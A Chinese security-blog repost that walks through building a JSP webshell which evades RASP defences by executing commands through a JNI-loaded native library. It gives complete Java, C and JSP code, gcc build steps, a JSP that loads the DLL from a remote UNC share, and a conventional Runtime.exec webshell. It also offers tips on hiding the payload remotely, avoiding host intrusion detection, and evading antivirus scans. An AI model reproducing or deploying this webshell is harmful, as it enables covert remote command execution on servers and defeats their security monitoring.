首页 安全文摘 WEB安全 正文

JNI技术绕过rasp防护实现jsp webshell

背景笔者近日看到了这样一篇文章:那些年我们堵住的洞 – OpenRASP纪实 想到rasp这的类具是基于java、php运行期的堆栈信息进行分析,可以尝试使用jni技术进行绕过。java技术栈中的jni的原理是使用java调用c、c++函数,具体实现的思路是jsp编译为class文件,该class通过jni技术调用另外一处dll来执行命令函数绕过黑名单

背景

笔者近日看到了这样一篇文章:那些年我们堵住的洞 – OpenRASP纪实

JNI技术绕过rasp防护实现jsp webshell jsp webshell rasp防护绕过 JNI技术 WEB安全  第1张

    想到rasp这的类具是基于java、php运行期的堆栈信息进行分析,可以尝试使用JNI技术进行绕过。java技术栈中的jni的原理是使用java调用c、c++函数,具体实现的思路是jsp编译为class文件,该class通过jni技术调用另外一处dll来执行命令函数绕过黑名单执行命令获取回显,即可实现rasp和安全防护软件的绕过。github地址:https://github.com/nanolikeyou/jniWebShell

原理使用


    以我们要实现的jsp webshell命名为test.jsp为例。由于jni技术需要先通过javah+.class文件生成.h开头的c头文件,jsp是一种特殊的class文件,而jsp经过Tomcat编译class文件,命名遵从test.jsp ->> org.apache.jsp.test_jsp.class,所以我们需要新建package为org.apache.jsp,类名为test_jsp的.java文件。

packageorg.apache.jsp;

publicclasstest_jsp
{
    classJniClass
   {
        publicnativeStringexec(Stringstring);

   }

}

cd到编译生成的target/class目录,使用javah org.apache.jsp.test_jsp$JniClass命令生成org_apache_jsp_test_jsp_JniClass.h文件,内容为:

#include <jni.h>

#ifndef _Included_org_apache_jsp_test_jsp_JniClass
#define _Included_org_apache_jsp_test_jsp_JniClass
#ifdef __cplusplus
extern"C"{
#endif
/*
* Class:     org_apache_jsp_test_jsp_JniClass
* Method:   exec
* Signature: (Ljava/lang/String;)Ljava/lang/String;
*/
JNIEXPORTjstringJNICALLJava_org_apache_jsp_test_1jsp_00024JniClass_exec
(JNIEnv*,jobject,jstring);

#ifdef __cplusplus
}
#endif
#endif

调用上一步生成头文件,编写有回显的c语言代码

#include"jni.h"
#include"org_apache_jsp_test_jsp_JniClass.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

intexecmd(constchar*cmd,char*result)
{
    charbuffer[1024*12];              //定义缓冲区
    FILE*pipe=_popen(cmd,"r");//打开管道,并执行命令
    if(!pipe)
        return0;//返回0表示运行失败

    while(!feof(pipe))
   {
        if(fgets(buffer,128,pipe))
       { //将管道输出到result中
            strcat(result,buffer);
       }
   }
    _pclose(pipe);//关闭管道
    return1;      //返回1表示运行成功
}
JNIEXPORTjstringJNICALLJava_org_apache_jsp_test_1jsp_00024JniClass_exec(JNIEnv*env,jobjectclass_object,jstringjstr)
{

    constchar*cstr=(*env)->GetStringUTFChars(env,jstr,NULL);
    charresult[1024*12]="";//定义存放结果的字符串数组
    if(1==execmd(cstr,result))
   {
       // printf(result);
   }

    charreturn_messge[100]="";
    strcat(return_messge,result);
    jstringcmdresult=(*env)->NewStringUTF(env,return_messge);
    //system();

    returncmdresult;
}
}

使用gcc将该c源码编译为dll或者lib(注意jdk版本要与目标机器的

jdk保持一致)

gcc-I"c:\Program
Files\Java\jdk1.7.0_75\include"-I
"c:\Program Files\Java\jdk1.7.0_75\include\win32"--sharedJniClass.c
-o1.dll

具体在jspload时有两种思路,一种是将该jsp文件和该dll放置于服务器的本地路径。jsp的代码里指定dll的绝对路径\相对路径;另外一种是使用unc路径,这样恶意dll通过远程部署,加强隐蔽程度,加大溯源难度、提高部署灵活度。

<%@pagecontentType="text/html;charset=UTF-8"language="java"%>
<%!
 classJniClass{
    publicnativeStringexec(Stringstring);
    publicJniClass() {
      //System.load("/Users/nano/upload/libJniClass.jnilib");
      System.load("\\\\8.8.8.8\\classes\\1.dll");
   }
}
;
%>
<%
 Stringcmd =request.getParameter("cmd");
 JniClassjniClass=newJniClass();
 Stringres=jniClass.exec(cmd);
%>

<%=res%>

技术要点

  1. 对于linux|mac环境,上一步生成的java内部类叫做JniClass,在类unix平台下,加载的库名需要为lib开头+JniClass+jnilib或者dylib。

  2. 核心的system.load方法是以File的形式记载dll|lib文件,该dll|lib路径的以远程的方式加载的绝对路径,所以需要目标机器上测试判断环境是支持//,还是支持\\\?简单判断方法是new file(path),然后判断file.exist。如果是前者的linux环境,需要想办法使用//的unc路径,推荐使用samba搭建匿名访问服务放置.jnilib载荷。如果是后者,即目标服务器为windows下的java应用,远程路径需要以\\\\开头,dll需要放在Windows下,在windows平台下445不通的情况下,会访问WebDAV(开启webclient)的80端口下载下来dll执行。

  3. jni载荷的c、c++实现的代码要具备健壮性,避免目标环境的jvm奔溃。

  4. 使用system函数执行命令要小心被hids发现。

  5. webshell只在tomcat容器上测试过。

实战使用

经测试:jdk1.7+tomcat8.5+windows环境

jdk10+tomcat+Mac

rasp安全防护全开。

rasp安全防护全开。

JNI技术绕过rasp防护实现jsp webshell jsp webshell rasp防护绕过 JNI技术 WEB安全  第2张

JNI技术绕过rasp防护实现jsp webshell jsp webshell rasp防护绕过 JNI技术 WEB安全  第3张

JNI技术绕过rasp防护实现jsp webshell jsp webshell rasp防护绕过 JNI技术 WEB安全  第4张

样本index.jsp为传统的基于Runtime.getRuntime执行命令,

<%@pageimport="java.io.*"%>
<%
    try{
        Stringcmd=request.getParameter("cmd");
        Processchild=Runtime.getRuntime().exec(cmd);
        InputStreamin=child.getInputStream();
        intc;
        while((c=in.read())!=-1) {
            out.print((char)c);
       }
        in.close();
        try{
            child.waitFor();
       } catch(InterruptedExceptione) {
            e.printStackTrace();
       }
   } catch(IOExceptione) {
        System.err.println(e);
   }
%>

毫不意外的被rasp记录日志并阻断。

JNI技术绕过rasp防护实现jsp webshell jsp webshell rasp防护绕过 JNI技术 WEB安全  第5张

JNI技术绕过rasp防护实现jsp webshell jsp webshell rasp防护绕过 JNI技术 WEB安全  第6张

使用jni突破rasp的jsp来执行shell,成功绕过。

成功绕过。

JNI技术绕过rasp防护实现jsp webshell jsp webshell rasp防护绕过 JNI技术 WEB安全  第7张

使用d盾查杀

JNI技术绕过rasp防护实现jsp webshell jsp webshell rasp防护绕过 JNI技术 WEB安全  第8张

virustotal:

JNI技术绕过rasp防护实现jsp webshell jsp webshell rasp防护绕过 JNI技术 WEB安全  第9张

其他

如果您有其他的思路和建议,欢迎同我交流:)

参考资料

  • https://jayl1n.github.io/2019/06/26/sctf-2019-babyEoP-Writeup/

  • https://www.jianshu.com/p/1a5fb579ef08

  • https://blog.csdn.net/qq_39448233/article/details/80882948

  • https://www.cnblogs.com/LittleHann/p/4326828.html

  • https://rasp.baidu.com/doc/

文由SDL安全实践

海报

本文转载自互联网,如有侵权,联系删除

转载请注明本文地址:https://heibai.org.cn/1476.html

相关推荐

看起来这里没有任何东西...

发布评论

ainiaobaibaibaibaobaobeishangbishibizuichiguachijingchongjingdahaqiandaliandangaodw_dogedw_erhadw_miaodw_tuzidw_xiongmaodw_zhutouganbeigeiliguiguolaiguzhanghahahahashoushihaixiuhanheixianhenghorse2huaixiaohuatonghuaxinhufenjiayoujiyankeaikeliankouzhaokukuloukunkuxiaolandelinileimuliwulxhainiolxhlikelxhqiuguanzhulxhtouxiaolxhwahahalxhzanningwennonuokpinganqianqiaoqinqinquantouruoshayanshengbingshiwangshuaishuijiaosikaostar0star2star3taikaixintanshoutianpingtouxiaotuwabiweifengweiquweiwuweixiaowenhaowoshouwuxiangjixianhuaxiaoerbuyuxiaokuxiaoxinxinxinxinsuixixixuyeyinxianyinyueyouhenghengyuebingyueliangyunzanzhajizhongguozanzhoumazhuakuangzuohenghengzuoyi
感谢您的支持